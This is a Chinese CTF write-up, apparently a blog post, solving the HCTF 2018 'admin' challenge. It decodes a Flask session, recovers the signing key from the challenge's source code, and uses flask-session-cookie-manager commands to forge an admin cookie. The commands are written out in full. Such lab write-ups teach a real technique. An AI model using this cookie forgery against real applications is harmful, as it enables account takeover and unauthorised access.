[HCTF 2018] admin

“地面可以给他们,但天空属于我”

本题有三种解法,本文只介绍第一种,flask session 伪造。

审查题目

发现了网页有注册和登录,先注册一个试试看,上去后发现有
image
挨个检查源代码,发现了一行代码
image
访问一下,发现是个flask框架的项目,

Tips:由于 flask 是非常轻量级的 Web框架 ,其 session 存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对 session 进行了签名,缺少数据防篡改实现,这便很容易存在安全漏洞。

执行以下脚本可以对session执行解密

from itsdangerous import *
s = ".eJw9kEGLwjAQhf_KMmcPTdpcBA-CNUSYWSpRSS7iaq1JGxeqUjfif9-sCx4GhveYj_fmAdtjX19OML72t3oEW3eA8QM-vmAMNihBEYs0d4oVp43KjS4Ho_cFyVXSVdrNgMEGistAWnHj5w79VBivBOpKYJyKpAujm-R1LcpFa_3-x3rFcFYJkiWzumGkVwV6EynOPYbElGrAeAjkcTDedhRPjmbIP-UqWmky9FXEzaIjufZJn8BzBPtLf9xev9v6_K5gQlngzLbEq7sNJSO-6FCfnNWYp3OHf_Hj3FHsuhRrsHLpaTp54VzYNfWbtF43ohr-nfMuJAN4xlnOGcsYy2EEt0vdv94HLIPnLyVcbbE.YnJmhA.astCiIp9HMjREk2I0NUel5_hYb8"
data,timestamp,secret = s.split('.')
int.from_bytes(base64_decode(timestamp),byteorder='big')

image
通过脚本解密 session ,我们就可以大概知道 session 中存储着哪些基本信息。然后我们可以通过其他漏洞获取用于签名认证的 key ,进而伪造任意用户身份,得到admin身份
思路明确了,现在回去看看GitHub项目上的代码,看看能不能找到key
image
发现私钥,等级二,私钥便于获取flag
联系题目amdin,那我伪造名字为admin的cookie试试嘛,脚本获取方式如下:

git clone https://github.com/noraj/flask-session-cookie-manager

执行脚本
image

python3 flask_session_cookie_manager3.py encode -s " ckj123" -t "{'_fresh': True, '_id': b'121de14bca66edf6cc98e254ab460d68f9122c75e64747a997410a84049d9295b53192aebf5c2b93641e5c58cc1596ed3850da7a17a5f3f6415ac0743afe3dc4', 'csrf_token': b'd2495789467d55d9e38c2ffd63e9c578ee1b267a', 'image': b'BUXE', 'name': 'admin', 'user_id': '10'}"

拿到东西了,改cookie,得到flag
image

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值